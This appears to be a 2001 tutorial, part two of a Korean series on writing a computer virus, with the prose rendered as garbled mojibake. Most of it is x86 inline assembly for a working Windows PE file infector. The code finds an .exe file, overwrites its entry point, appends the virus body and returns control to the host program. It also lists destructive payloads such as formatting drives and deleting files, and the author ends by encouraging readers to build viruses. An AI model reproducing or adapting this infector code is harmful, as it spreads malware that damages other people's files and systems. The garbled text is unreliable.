Á¦¸ñ À̸§ email ȨÆäÁã ³¯Â¥
°³³ª¼Ò³ª ¸¸µå´Â ¹ÙÀÌ·¯½º #2 À¯¿µÃµ(yuchi) HiTEL:yuchi
õ¸®¾È:quadcpu
yuchi@esofnet.com
yuchi@explore.kwangwoon.ac.kr
yuchi@hitel.net
http://yuchi.esofnet.com 2001.3.25
Áö³­¹ø¿¡ ¾îµð±îÁö Çß¾ú´õ¶ó...¿ø¸®¿¡ ´ëÇØ ¼³¸íÇß´Ù.

À̹ø Àå¿¡¼± ±¸ÇöÀ» ÇØº¸ÀÚ.

1.ÁÖÀÇ»çÇ×
ÁÖÀÇ»çÇ×Àº º¸Åë ¸Ç ¸¶Áö¸·¿¡ ³ª¿À±â ¸¶·ÃÀÌÁö¸¸, ¹Ýµå½Ã ¤°í ³Ñ¾î°¡¾ß ÇÒ Á¡À̹ǷΠ¸Ç ¾Õ¿¡¼­ºÎÅÍ ´Ù·ç°Ú´Ù.
  • Àü¿ªº¯¼ö´Â »ç¿ë¸øÇÑ´Ù.
    Ȥ½Ã¶óµµ ±×·± ½Ç¼ö¸¦ ¹üÇÏ´Â »ç¶÷Àº ¾ø°ÚÁö¸¸, ¹ÙÀÌ·¯½º Äڵ忡¼­ Àü¿ªº¯¼ö´Â ¾µ ¼ö ¾ø´Ù. Àü¿ªº¯¼ö¶õ°Ô µ¥ÀÌŸ ¼¼±×¸ÕÆ® ±âÁØÀ¸·Î ¿ÀÇÁ¼Â ¸î..ÀÌ·±½ÄÀ¸·Î ½á¾ßµÇ´Âµ¥ ÀÌ¹Ì ±× ¿µ¿ª Àº ¼÷ÁÖÀÇ ¿ø·¡ Äڵ尡 »ç¿ëÇϰí ÀÖÀ»°ÍÀ̱⠶§¹®¿¡, ȤÀº ³»°¡ ¾²°íÀÚ ÇÏ´Â ¸¸Å­ÀÌ È®º¸ µÇ¾îÀÖÁö ¾ÊÀ»¼öµµ ÀÖ´Ù.
    µû¶ó¼­ ÀÌ·± ·ùÀÇ ±â»ýÇÏ´Â ÇÁ·Î±×·¥(½ºÅÿÀ¹öÇ÷ο츦 ÀÌ¿ëÇÑ ÇØÅ·µµ ¸¶Âù°¡Áö) ¾µ ¼ö ÀÖ ´Â ¸Þ¸ð¸®´Â ·¹Áö½ºÅÍ¿Í ½ºÅà »ÓÀÌ´Ù.
    µû¶ó¼­ ¸ðµç Àӽà º¯¼ö´Â ½ºÅÃÀ» »ç¿ëÇÑ´Ù.
  • ÀÌ ¹ÙÀÌ·¯½º ÄÚµå´Â ºÒ¿ÏÀüÇÑ ¹ÙÀÌ·¯½ºÀÌ´Ù.
    ¿©±â ³ª¿À´Â ¼Ò½º ÄÚµå´Â Á¤¸»·Î Á¤¸»·Î ±¸ÇöÀ» À§ÇÑ ±¸ÇöÀÌ´Ù.¹ü¿ëÀûÀ¸·Î ¾²±â¿£ ¹®Á¦°¡ ¸¹À¸´Ï °¨È÷ À̰ɰ®°í º¯Á¾ ¹ÙÀÌ·¯½º ¸¸µé »ý°¢À» ÇÏ´Â »ç¶÷Àº ¾ø¾úÀ¸¸é ÁÁ°Ú´Ù.ÀÌ°É °íÃÄ ¼­ Á¦´ë·ÎµÈ ¹ÙÀÌ·¯½º ¸¸µå´À´Ï »õ·Î ÄÚµùÇÏ´Â°Ô ³ªÀ»°ÍÀÌ´Ù.
    ÀÌ ¹ÙÀÌ·¯½ºÀÇ ¹®Á¦Á¡À» ¹Ì¸® ÀûÀ»Å×´Ï ±¦ÇÑ »ý°¢ÇÏ´Â »ç¶÷Àº ¾ø±æ ¹Ù¶õ´Ù.
    1.´Ü ÇϳªÀÇ ÆÄÀϸ¸ °¨¿°½ÃŲ´Ù.
    2.ÀÌ¹Ì °¨¿°µÈ ÆÄÀÏÀº skipÇÏ°í ´Ù¸¥ ÆÄÀÏÀ» ·ÎµåÇØ¼­ °¨¿°½ÃÄÑ¾ß ÇÏÁö¸¸ ´ÙÀ½ ÆÄÀÏÀ» ¼­Ä¡ÇÏÁö ¾Ê´Â´Ù.ÀÌ¿¡ µû¸¥ ¿¡¿Ü»óȲ󸮴 ÇÏÁö ¾Ê¾Ò´Ù.
    3.ÇÑ ÆÄÀÏ¿¡ µÎ¹ø °¨¿°½Ãų °æ¿ì ÇØ´ç ÆÄÀÏÀº Á¦´ë·Î µ¿ÀÛÇÏÁö ¾Ê´Â´Ù.
    4.À̹ÌÁöº£À̽º ¾îµå·¹½º¸¦ .0x00400000À¸·Î °¡Á¤ÇÏ¿´´Ù.À̿Ͱ°Àº º£À̽º ¾îµå·¹½º¸¦ »ç¿ëÇÏÁö ¾Ê´Â exeÀÇ °æ¿ì´Â ¿Àµ¿ÀÛÇÑ´Ù.

    °Å·ÐµÈ ¹®Á¦µéÀº ¼Õ½±°Ô °íÄ¥¼ø ÀÖ´Ù.ÇÏÁö¸¸ ²Ï³ª Â¥Áõ³ª°Ô Â¥³ùÀ¸´Ï º°·Î Çϰí½ÍÁø ¾ÊÀ»°ÍÀÌ´Ù.
    ³²ÀÌ ½ÇÇèÇϸ鼭 ¸¸µç ¹ÙÀÌ·¯½º Äڵ带 °¡Á®´Ù°¡ ¾Ç¼º¹ÙÀÌ·¯½º·Î ¸¸µé Á¤µµ·Î ÀÚÁ¸½É ¾ø´Â ÇÁ·Î±×·¡¸Ó´Â ¾øÀ¸¸®¶ó ¹Ï´Â´Ù.

    2.ÄÚµåÀÇ °ñ°Ý
    void Virus()
    {
    1.ÀÚ±â ÀÚ½ÅÀÇ ÄÚµå »çÀÌÁ °è»êÇÏ°í ½ºÅÿ¡ º¹»çÇØµÐ´Ù.
    2.°¨¿°½Ãų ´ë»óÀ» ã´Â´Ù.
    3.°¨¿°½Ãų ÆÄÀÏÀÇ Çì´õ¸¦ Àо ÄÚµå ¿£Æ®¸®Æ÷ÀÎÆ®´Â ½ºÅÿ¡ ÀúÀåÇϰí ÁÖÀÔ½Ãų ¹ÙÀÌ·¯½º Äڵ尡 À§Â÷ÇÒ ÆÄÀÏ ¿É¼ÂÀ» °è»êÇØ ÀÌ À§Ä¡¸¦ ÄÚµå ¿£Æ®¸® Æ÷ÀÎÆ®·Î ¹Ù²ãÄ¡±âÇÑ´Ù.
    4.¹ÙÀÌ·¯½º·Î¼­ ÇØ¾ßÇÒ ÀÏÀ» ÇÑ´Ù.(Æ÷¸Ë,±«¹®ÀÚ Ãâ·Â,ÆÄÀÏ »èÁ¦,¼Ë´Ù¿î µîµî)
    5.ÀúÀåÇØµÐ ¿ø·¡ ÄÚµå ¿£Æ®¸® Æ÷ÀÎÆ®·Î Á¡ÇÁÇÑ´Ù.
    }

    3.ÄÚµå ¼³¸í.
    Å©°Ô ³× ºÎºÐÀ¸·Î ÀÌ·ç¾îÁ®ÀÖ´Ù.½ÇÁ¦ ¹ÙÀ̳ʸ®ÄÚµå»óÀ¸·Ð ¸ù¶¥ ¿¬°áµÇ¾îÀÖÁö¸¸ __asm{}Àý·Î´Â ³×ºÎºÐÀ¸·Î ³ª´©¾ú´Ù.

  • ù¹øÂ° ±¸¿ª
      __asm
      {
    	nop
    	nop
    	nop
    	nop
    	
    	nop
    	nop
    	nop
    	nop
    	
    	nop
    	nop
    	nop
    	nop
    	
    	nop
    	nop
    	nop
    	nop
    	
    	push			ebp
    	mov			ebp,esp
    	sub			esp,8800
    
    	xor			edx,edx
    	mov			dx,0xcccc
    	shl			edx,16
    	or			edx,0xcccc
    
    	xor			eax,eax
    	mov			ax,0x9090
    	shl			eax,16
    	or			eax,0x9090
    
    	mov			esi,0x00400000
    
    lb_search_entry:
    	inc			esi
    	cmp			al,byte ptr[esi]
    	jnz			lb_search_entry
    
    	xor			ecx,ecx
    
    lb_count_nop:
    	inc			ecx
    	inc			esi
    	cmp			al,byte ptr[esi]
    	jz			lb_count_nop
    
    	cmp			ecx,16
    	jnz			lb_search_entry
    
    lb_success_search_entry:
    	sub			esi,ecx
    	lea			edi,dword ptr[ebp-0x0000201c]
    
    	xor			ecx,ecx
    	; esi´Â ÄÚµåÀÇ ¿£Æ®¸® Æ÷ÀÎÆ® 
    lb_count_bytes:	
    	cmp			edx,dword ptr[esi]
    	jz			lb_continue
    	cmp			eax,dword ptr[esi]
    	jnz			lb_not_jmpaddr
    	mov			ebx,ecx
    	add			ebx,5
    	mov			dword ptr[ebp-0x0000001c],ebx	; Á¡ÇÁÇÒ ¾îµå·¹½º¸¦ ³¢¿ö³ÖÀ» ÄÚµå ¿ÀÇÁ¼Â
    
    lb_not_jmpaddr:
    	movsb			
    	inc			ecx
    	jmp			lb_count_bytes
    
    lb_continue:
    	movsd
    	movsb
    	add			ecx,5
    	mov			dword ptr[ebp-0x00000018],ecx	; ÄÚµå »çÀÌÁî
      }
    

    ÁÖ¼®À» ÀÏÀÏÈ÷ ´Þ¸é ÁÁ°ÚÁö¸¸ ³Ê¹« ±ÍÂú¾Æ¼­ ÁÖÀÇÇÒ ºÎºÐ¸¸ ¤°í ³Ñ¾î°¡°Ú´Ù. ¿ì¼± naked callÀ» »ç¿ëÇÑ ÀÌÀ¯¸¦ º¸ÀÚ.
    cdeclÀ̳ª stdcallÀ» »ç¿ëÇØµµ µÇ±ä µÈ´Ù.±Ùµ¥ ³­ ¾î¶»°Ô ±×°É·Î °¡´ÉÇÏ°Ô ÇÏ´ÂÁö Àß ¸ð¸£°Ú´Ù.À̷лó ¾ÈµÉ ÀÌÀ¯´Â ¾øÁö¸¸.ÀÌ ½ÇÇàÆÄÀÏÀÌ ·ÎµåµÇ°í³ª¼­ ÃÖÃÊ·Î ½ÇÇà µÇ´Â Äڵ尡 ¹Ù·Î ÀÌ ÄÚµå°í ÀÌ°Ç ÇÔ¼ö ¾È¿¡ ³¢¿öÁø Äڵ尡 ¾Æ´Ï´Ù.µû¶ó¼­ ½ºÅÃÇÁ ·¹ÀÓÀ» Àâ¾ÆÁà¾ßÇÑ´Ù.Çåµ¥ ½ºÅà ÇÁ·¹ÀÓÀ» Àâ´Â ÄÚµåÁ¶Â÷µµ ¹ÙÀÌ·¯½º Äڵ忡 Æ÷ÇÔ µÇ¹Ç·Î ÀÚÁö°¡½ÅÀÇ Äڵ带 º¹Á¦ÇÔ¿¡ À־ ºüÁ®¼± ¾ÈµÈ´Ù.
    nopÀÌ 16°³³ª ÀÖ´Â ÀÌÀ¯´Â ¹ÙÀÌ·¯½º ÄÚµåÀÇ ½ÃÀÛÀÌ ¾îµòÁö ã±âÀ§Çؼ­Àε¥ ¸¸¾à naked¸¦ »ç¿ëÇÏÁö ¾ÊÀ¸¸é ÄÄÆÄÀÏ·¯°¡ ¹«Á¶°Ç ÄÚµåÀÇ Á¦ÀÏ Ã³À½¿¡ ½ºÅÃÇÁ·¹ÀÓ Àâ´Â Äڵ带 ³Ö¾î¹ö¸°´Ù.³»°¡ ¾Æ¹«¸® ´«¿¡ º¸À̱â·Î´Â ¸Ç ¾Õ¿¡ nopÀ» ¿Õâ ¶§·Á³Ö¾îµµ ½ºÅÃÇÁ·¹ÀÓÀÌ Àâ´Â ÄÚµå µÚ¿¡ nopÀÌ µû¶óºÙ´Â´Ù.
    nop¹¶Å±⸦ ÄÚµåÀÇ °¡Àå ¾Õ¿¡ ³Ö±â À§ÇØ naked callÀ» »ç¿ëÇß´Ù.

    nopÀ» 16°³³ª »ç¿ëÇÑ ÀÌÀ¯´Â 0x90909090Á¤µµ´Â »ó¼ö·Î ³ª¿Ã¼ö ÀÖ´Ù°í »ý°¢Çؼ­ È®½ÇÇÏ°Ô ÄÚµåÀÇ ½ÃÀÛÀÓÀ» Ç¥½ÃÇϱâ À§Çؼ­ÀÌ´Ù.

    ´ëÃæ Äڵ尡 µ¹¾Æ°¡´Â°Ô º¸À̴°¡? º¸ÀÎ´Ù¸é ´ç½ÅÀº ¾î¼Àºí¸® ÄÚµù ÇÏ·çÀÌÆ²ÇÑ »ç¶÷ÀÌ ¾Æ´Ï´Ù.ÀýÀÌ¶óµµ ÇØÁÖ°í ½Í´Ù.¼ÖÁ÷È÷ ³»°¡ ®¾îµµ ÇÏ·çÀÌÆ² Áö³ª¼­ ´Ù½Ã º¸¸é Çò°¥¸°´Ù.¸Ç ¾ÕºÎÅÍ µû¶ó°¡ºÁ¾ßÇÑ´Ù.naked call¿¡¼± º¯¼öÀ̸§À» Á÷Á¢»ç¿ë ÇÒ ¼ö ¾ø±â ¶§¹®¿¡ ebp·¹Áö½ºÅÍ¿¡ ´ëÇÑ ¿ÀÇÁ¼ÂÀ¸·Î ·ÎÄú¯¼ö À̸§À» ´ëÄ¡Çϴµ¥ ÁøÂ¥ Çò°¥¸°´Ù.-_-;
    ÇÏÁö¸¸ ¿­½ÉÈ÷ ÃßÀûÇØº¸¸é º¸ÀϰÍÀÌ´Ù.

    ´ë·« ÄÚµåÀÇ È帧À» º¸ÀÚ.
    ÀÌ ½ÇÇàÆÄÀÏ À̹ÌÁöÀÇ º£À̽º ¾îµå·¹½º´Â 0x00400000À̶ó°í °¡Á¤ÇÑ´Ù.(¸µÅ©ÇÒ¶§ ¹Ù ²Ü¼ö ÀÖ´Ù.´©´©È÷ ¸»ÇصÎÁö¸¸ ÀÌ ¹ÙÀÌ·¯½ºÄÚµå´Â ½ÇÇè¿ëÀÌ´Ù.0x00400000À» º£À̽º ·Î ÇÏÁö ¾Ê´Â ÇÁ·Î±×·¥µéµµ ¾ó¸¶µçÁö ÀÖ´Ù.ÀÌ°Ç peÇì´õ¿¡¼­ Àо »ç¿ëÇÏ´Â°Ô ¿ø Ä¢ÀÌ´Ù.)

    º£À̽º ¾îµå·¹½ººÎÅÍ nop¿¡ ÇØ´çµÇ´Â 0x90ÀÌ 16°³ ¿¬¼ÓµÇ¾îÀÖ´Â ±¸¿ªÀ» ã´Â´Ù. ã¾ÒÀ¸¸é ´Ù½Ã 0xcc°¡ 4°³°¡ ¿¬¼ÓµÇ¾îÀÖ´Â ±¸¿ªÀ» ã´Â´Ù.±× »çÀÌ¿¡ÀÖ´Â ±¸¿ªÀÌ ½ÇÁ¦ ¹ÙÀÌ·¯½º ÄÚµåÀÌ´Ù.¹°·Ð ¾Õ¿¡ 16¹ÙÀÌÆ® µÚ¿¡ 4¹ÙÀÌÆ®µµ ¹ÙÀÌ·¯½ºÄÚµå·Î Æ÷ÇÔ ½ÃÄÑÁà¾ß ´ÙÀ½¹ø °¨¿°µÇ°í³ª¼­µµ Á¦´ë·Î ãÀ» ¼ö ÀÖ´Ù.¿­½ÉÈ÷ ÀÚ±â Äڵ带 ã´Â Áß¿¡ ¶Ç ¹º°¡¸¦ ã°íÀÖ´Ù.¹ÙÀÌ·¯½º ÄÚµåÀÇ ¿£Æ®¸® Æ÷ÀÎÆ®¸¦ ãÀº ÈÄ¿¡´Â 4°³ÀÇ nopÀ» ¶Ç´Ù½Ã ã¾ÆÇظŰí ÀÖ´Ù.ÀÌ°Ô ¹¹ÇÏ´Â ÁþÀΰí ÇÏ´Ï ÀÓÀÇ·Î jmpÇϱâ À§ÇØ ¾Æ¹« ÁÖ¼Ò³ª ½áµÐ 4¹ÙÀÌÆ® ¿µ¿ªÀ» ã±â À§ÇÔÀÌ´Ù.

    ÀÌÇØ°¡ Àß ¾È°¡´Â°¡? ¾à°£ÀÇ ¸®¾óŸÀÓ ÄÚµå »ý¼ºÀ» À§ÇØ »ç¿ëÇÑ ²Ç¼öÀÌ´Ù.

    ¿ø·¡ ÄÚµåÀÇ ¿£Æ®¸® Æ÷ÀÎÆ®´Â ÆÄÀϸ¶´Ù Á§°¢°¢À̹ǷΠÀÌ°É °íÁ¤µÈ °ªÀ¸·Î ÄÚµùÇÒ ¼ø ¾ø´Ù.°¨¿°½Ã۰íÀÚ ÇÏ´Â ÆÄÀÏÀÇ Çì´õ¸¦ Àо ¿£Æ®¸® Æ÷ÀÎÆ®·Î Á¡ÇÁÇϱâ À§Çؼ±
      push		¿£Æ®¸®Æ÷ÀÎÆ®
      pop		eax
      jmp		eax
      

    ÀÌ·±²ÃÀÇ Äڵ带 ¸¸µé¾î¾ß Çϴµ¥ ¹®Á¦´Â ¿£Æ®¸®Æ÷ÀÎÆ®ºÎºÐ¿£ »ó¼ö°¡ µé¾î°¡¾ß ÇÏ°í »ó¼ö ¸¦ °¡º¯ÀûÀ¸·Î ³Ö±â°¡ ²Ï³ª ¾î·Á¿öº¸ÀδÙ.½Ç»ó Á¤»óÀûÀÎ ÄÚµå·Î´Â ¾ÈµÈ´Ù.
    µû¶ó¼­ push ´ÙÀ½ÀÇ ³×¹ÙÀÌÆ®´Â ¹Ù²ãÄ¡±â ÇØ¾ßÇÑ´Ù.¾îÂ÷ÇÇ ÄÚµå´Â ½ºÅÿ¡ ÀúÀåÇØ³õÀ» °Í ÀÌ°í ¿É¼Â¸¸ ¾Ë¸é ¹Ù²ãÄ¡±â ÇÒ ¼ö ÀÖ´Ù.¹Ù²ãÄ¡±âÇÒ ÄÚµåÀÇ ¿É¼ÂÀ» ¾Ë±â À§ÇØ push¾Õ¿¡´Ù °¡ nopÀ» 4°³ ±ò¾ÆÁذÍÀÌ´Ù.ÀÌ¹Ì ¹ÙÀÌ·¯½º Äڵ尡 ½ÃÀÛµÇ°í ³ª¼­´Â nop 4°³¸¦ ¾²´Â°Ç ÀÌ ºÎºÐ»ÓÀ̴ϹǷΠ4°³¸¸ »ç¿ëÇß´Ù.±× ÆíÀÌ °Ë»öÇÏ±â ÆíÇϴϱî.³×¹øÂ° __asm{}±¸°£À» º¸¸é ÀÌÇØ°¡ µÉ°ÍÀÌ´Ù.

    ¼³¸íÀ» À§ÇØ ³×¹øÂ° ±¸¿ªÀ» ¸ÕÀú º¸¿©ÁÖ°Ú´Ù.

  • ³×¹øÂ° ±¸¿ª
      _asm
      {
            nop
    	nop
    	nop
    	nop
    	push		offset lb_end
    	pop			edx
    	
    	mov			esp,ebp
    	pop			ebp
    	jmp			edx
    	int			3
    	int			3
    	int			3
    	int			3
    lb_end:
    	ret
       }
       

    ÀÏ´Ü offset lb_end¸¦ ³ÖÀº ÀÌÀ¯´Â ÀÌ Äڵ尡 ÃÖÃÊ·Î ½ÇÇàµÉ¶© ±â»ýµÈ Äڵ尡 ¾Æ´Ï°í ¸ÖÂÄÇÏ°Ô ÀÚü exe·Î ½ÇÇàµÉ ÆÄÀÏÀ̹ǷΠÁ¤»óÀûÀ¸·Î Á¾·áÇÏ°Ô ÇÏ°í ½Í¾ú±â ¶§¹®ÀÌ´Ù. ³¡ÀÇ int 3 4°³´Â »çÀÌÁî °è»êÀ» À§ÇØ ÄÚµåÀÇ ³¡ÀÓÀ» ¸í½ÃÇØµÐ°ÍÀÌ´Ù.

  • ¼¼¹øÂ° ±¸¿ª
    À̹ø¿£ peÆÄÀÏ¿¡¼­ ÄÚµå ¿£Æ®¸® Æ÷ÀÎÆ®¿Í »çÀÌÁ ÀÐ°í ¿£Æ®¸® Æ÷ÀÎÆ®´Â ¹ÙÀÌ·¯½º ÄÚµåÀÇ ¿£Æ®¸® Æ÷ÀÎÆ®·Î ¹Ù²ãÄ¡±âÇÏ´Â ºÎºÐÀÌ´Ù.
       __asm
       {
    
    	mov			dword ptr[ebp-0x00002164],0x78652e2a
    	mov			word ptr[ebp-0x00002160],0x0065
    	
    	lea			eax,dword ptr[ebp-0x0000215c]
    	lea			edx,dword ptr[ebp-0x00002164]
    	push			eax
    	push			edx
    	
    	mov			ebx,0x77E5906D
    	call			ebx //dword ptr[FindFirstFile]
    	mov			dword ptr[ebp-8],eax
    	
    	//	hFile = CreateFile(fndata.cFileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
    	push			0
    	push	        	8000000h
    	push			3
    	push			0
    	push			3
    	push			0C0000000h
    	lea			eax,[ebp-2130h]
    	push			eax
    	mov			ebx,0x77E585F4
    	call			ebx // CreateFile
    	mov			dword ptr[ebp-4],eax
    	
    	
    	//	ReadFile(hFile,header,sizeof(header),&len,NULL);
    	push			NULL
    	lea			edx,dword ptr[ebp-0x00000010]
    	push			edx
    	push			0x1000
    	lea			edx,dword ptr[ebp-0x0000101c]
    	push			edx
    	push			eax
    	mov			ebx,0x77E55314
    	call			ebx //dword ptr[ReadFile]
    	
    	//	pe_header = (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) + ((IMAGE_DOS_HEADER*)header)->e_lfanew);
    	mov			eax,dword ptr [ebp-0x00000FE0]
    	lea			eax,[ebp+eax-0x0000101C]
    	mov			dword ptr [ebp-0x0000000C],eax
    	
    	//old_entry = pe_header->opt_head.AddressOfEntryPoint;
    	mov			eax,dword ptr [ebp-0x0000000C]
    	mov			eax,dword ptr [eax+0x00000028]
    	mov			dword ptr [ebp-0x00000014],eax
    	
    	//pe_header->opt_head.AddressOfEntryPoint = pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
    	mov			eax,dword ptr [ebp-0x0000000C]
    	mov			eax,dword ptr [eax+0x0000001C]
    	add			eax,0x00001000
    	sub			eax,dword ptr [ebp-0x00000018]
    	mov			ecx,dword ptr [ebp-0x0000000C]
    	mov			dword ptr [ecx+0x00000028],eax
    	
    	// SetFilePointer(hFile,0,NULL,FILE_BEGIN);
    	push			0
    	push			0
    	push			0
    	push			dword ptr [ebp-4]
    	mov			ebx,0x77E553E8
    	call			ebx //dword ptr [SetFilePointer]
    	
    	// WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
    	push			0
    	lea			eax,[ebp-0x00000010]
    	push			eax
    	push			0x00001000
    	lea			eax,[ebp-0x0000101C]
    	push			eax
    	push			dword ptr [ebp-4]
    	mov			ebx,0x77E5334F
    	call			ebx //dword ptr [WriteFile]
    	
    	// SetFilePointer(hFile,pe_header->opt_head.AddressOfEntryPoint,NULL,FILE_BEGIN);
    	
    	push			0
    	push			0
    	mov			eax,dword ptr [ebp-0x0000000C]
    	push			dword ptr [eax+0x00000028]
    	push			dword ptr [ebp-4]
    	mov				ebx,0x77E553E8
    	call			ebx //dword ptr [SetFilePointer]
        }

    Äڵ尡 ²Ï³ª ³­ÀâÇÏ°í º° µµ¿òÀÌ ¾ÈµÉ°Å °°Àº ÁÖ¼®µéÀÌ ¿©·¯°³ º¸ÀδÙ. óÀ½¿¡ ÀÌ ºÎºÐÀº cÄÚµå·Î ÀÛ¼ºÇß´Ù°¡ vc¿¡¼­ º¸¿©ÁÖ´Â µð½º¾î¼ÀºíµÈ Äڵ带 Âü°íÇØ¼­ ´ëÄ¡ÇÏ´Ùº¸´Ï ±×¸®µÆ´Ù.

    win32ÀÇ FindFirstFile()¿¡ *.exe¶ó´Â ½ºÆ®¸µÀ» ÀÎÀÚ·Î ÁÖ¾î ù¹øÂ° exeÆÄÀÏ ÀÇ À̸§°ú ÇÚµéÀ» ¾ò´Â´Ù.¿ø·¡ ÇØ´çÇÏ´Â ÆÄÀÏÀÌ ¾ø´Ù¸é ¿¹¿Ü󸮸¦ ÇØÁÖ¾î¾ß ÇÏÁö¸¸ ½ÇÇèÀûÀ¸·Î ¸¸µç°ÍÀÌ¶ó ¿¹¿Ü󸮴 »ý·«Çß´Ù.

    ãÀº ÆÄÀÏÀ̸§À¸·Î ÆÄÀÏÀ» ¿¬´Ù.c·±Å¸ÀÓ ÇÔ¼ö´Â Àü¿© »ç¿ëÇÏÁö ¾Ê¾Ò´Ù.msvcrt.dll ÀÌ ·ÎµåµÇ¾îÀÖÁö ¾Ê´Ù¸é Àý´ë µ¹¾Æ°¡Áö ¾Ê±â ¶§¹®Àε¥ msvcrt.dllÀÌ ¾î¶² exe ÆÄÀÏÀ» ½ÇÇàÇÒ¶§³ª ·ÎµåµÇÁø ¾Ê´Â´Ù.(È®½ÇÄ£ ¾Ê´Ù.msvcrt.dllÀÌ À©µµ¿ìÀÇ ±âº» dllÀÌ ¾Æ´Ñ°Ç È®½ÇÇѰа°´Ù.)
    peÆÄÀÏ Çì´õ´Â ÀÏ´Ü 4096¹ÙÀÌÆ®À̹ǷΠÇѹø¿¡ 4096¹ÙÀÌÆ®¸¦ Àо ÄÚµåÀÇ ¿£Æ® ¸® Æ÷ÀÎÆ®¿Í »çÀÌÁî ºÎºÐ¸¸ ÀÏ´Ü ¾ò¾î³ù´Ù.
    °£´ÜÇÑ °è»ê½Ä¿¡ ÀÇÇØ(ÁÖ¼®Âü°í) Çì´õÀÇ ÄÚµå ¿£Æ®¸® Æ÷ÀÎÆ® Çʵ带 ¹ÙÀÌ·¯½º ÀÇ ½ÃÀÛ À§Ä¡·Î ¹Ù²ãÄ¡±âÇÏ°í³ª¼­ Çì´õ¸¦ ´Ù½Ã ÆÄÀÏ¿¡ writeÇÑ´Ù.
    ÀÌÁ¦ Çì´õ´Â µÆ°í ,¹ÙÀÌ·¯½º Äڵ带 ÁÖÀÔÇÏ°í ¹ÙÀÌ·¯½º´Ù¿î ÇൿÀ» Çϵµ·Ï ¸¸µå ´Â ÀÏÀÌ ³²¾Ò´Ù.
  • ³×¹øÂ° ±¸¿ª
    ù¹øÂ° ·çƾ¿¡¼­ ÇÊ¿äÇÑ ÀÚ·á´Â ´Ù ¸ð¾Æ³ù´Ù.¹ÙÀÌ·¯½º ÄÚµåÀÇ ½ÃÀÛ ÁÖ¼Òµµ ¾Ë°í Á¡ÇÁÇÒ ¾îµå·¹½º¸¦ ³¢¿ö³ÖÀ» ¿É¼Âµµ ¾Ë°í ÀÖ´Ù.ÄÚµå »çÀÌÁîµµ ¾Ë°í ÀÖÀ¸¹Ç·Î ¾Æ ¹« ¹®Á¦µµ ¾ø´Ù.

        __asm			
        {
    	lea			edi,dword ptr[ebp-0x0000201c]
    	add			edi,dword ptr[ebp-0x0000001c]
    	mov			eax,dword ptr[ebp-0x00000014]
    	add			eax,0x00400000
    	mov			dword ptr[edi],eax
    	
    	// WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
    	push			0
    	lea			eax,[ebp-0x00000010]
    	push			eax
    	push			dword ptr [ebp-0x00000018]
    	lea			eax,[ebp-0x0000201C]
    	push			eax
    	push			dword ptr [ebp-4]
    	mov			ebx,0x77E5334F
    	call			ebx //dword ptr [WriteFile]
    
    	// FindClose(hSearchFile);
    	push			dword ptr[ebp-8]
    	mov			ebx,0x77E58F5D
    	call			ebx //dword ptr[FindClose]
    	
    	// CloseHandle(hFile);
    	push			dword ptr[ebp-4]
    	mov			ebx,0x77E53053
    	call			ebx //dword ptr[CloseHandle]
    
        }

    ÀÌ ºÎºÐÀÇ ¼Ò½º ÄÚµå´Â º°·Î ¼³¸íÇÒ ³»¿ëµµ ¾ø´Ù.ÁÖ¼®À» º¸¸é ±×³É ÀÌÇØ°¡ µÉ°ÍÀÌ´Ù.

    Äڵ弳¸íÀ̶ó°í ÇØ³õ°í ºÎ½ÇÇÏ°Ô ¼³¸íÇØ¼­ ¾ÆÁÖ ¹Ì¾ÈÇÏ°Ô »ý°¢ÇÑ´Ù.°øºÎÇÏ´Â ¼À Ä¡°í ¶â¾îº¸±â ¹Ù¶õ´Ù.¾Æ´Ï¸é "ÀÌ·± ¾²·¹±â°°Àº Äڵ带 ¹ÙÀÌ·¯½º ÄÚµå¶ó°í Â¥³ù³Ä...³»°¡ ±×³É Â¥°Ú´Ù."¶ó°í »ý°¢Çϸç Àڱ⸸ÀÇ Äڵ带 ÀÛ¼ºÇصµ ÁÁ°Ú´Ù.
    ÀÌ Äڵ忡 ÀںνÉÀ» ´À³¢Áø ¾Ê´Â´Ù.ÀüÇô.½ÇÇè¿ëÀ¸·Î ¸¸µç ÄÚµåÀ̰í ù¹øÂ°·Î ¸¸µç°Í À̱⠶§¹®ÀÌ´Ù.

    4.¸¶Ä¡¸ç..
    Á¤¸» ³»°¡ ºÁµµ ¿­¶ó ÇãÁ¢ÇÑ ¹ÙÀÌ·¯½º °­Á¸¦ 2ȸ¿¡ °ÉÃÄ ¿¬ÀçÇß´Ù.
    "¿­¶ó ³­ÀâÇÏ¿© ÀÌÇØÇÒ ¼ö ¾ø´Ù."¶ó°í »ý°¢ÇÒ »ç¶÷µéÀÌ ¸¹À»°Í °°´Ù.
    »ç½Ç ¼Ò½º´Â ¾È¿Ã¸®°í ¿ø¸® ¼³¸í¸¸ ÇÏ°í ³¡³»·Á°í ÇßÀ¸³ª ½ÇÁ¦·Î Á¤¸» µ¹¾Æ°£´Ù´Â°É º¸¿©ÁÖ°í ½Í¾ú±â ¶§¹®¿¡ ¼Ò½º¸¦ ¿Ã·È´Ù.
    Á¤¸»·Î Áß¿äÇÑ°Ç ¿ø¸® ¼³¸íµµ ¾Æ´Ï°í ¼Ò½º°ø°³µµ ¾Æ´Ï¶ó°í »ý°¢ÇÑ´Ù.
    µ¿±â ºÎ¿©°¡ ´õ Áß¿äÇÏ´Ù.³»°¡ ¿©±â ¾²·¹±â°°Àº °­Á¸¦ ¿Ã¸²À¸·Î ÇØ¼­ ¿©·¯ºÐµéÀÇ ¹ÙÀÌ·¯½º Á¦ÀÛ ¿å±¸°¡ ºÒŸ¿À¸£°í ÈǸ¢ÇÑ ¹ÙÀÌ·¯½º¸¦ ¸¸µé±â À§ÇØ ¼ö·ÃÀ» ½×±â¸¦ ¹Ù ¶ó´Â ¸¶À½¿¡¼­ ¿Ã¸° °­ÁÂÀÌ´Ù.(¼ÖÁ÷È÷ 30%ÂëÀº Àß³­Ã¼Çغ¸°í ½ÍÀº ¸¶À½µµ ÀÖ¾ú´Ù)

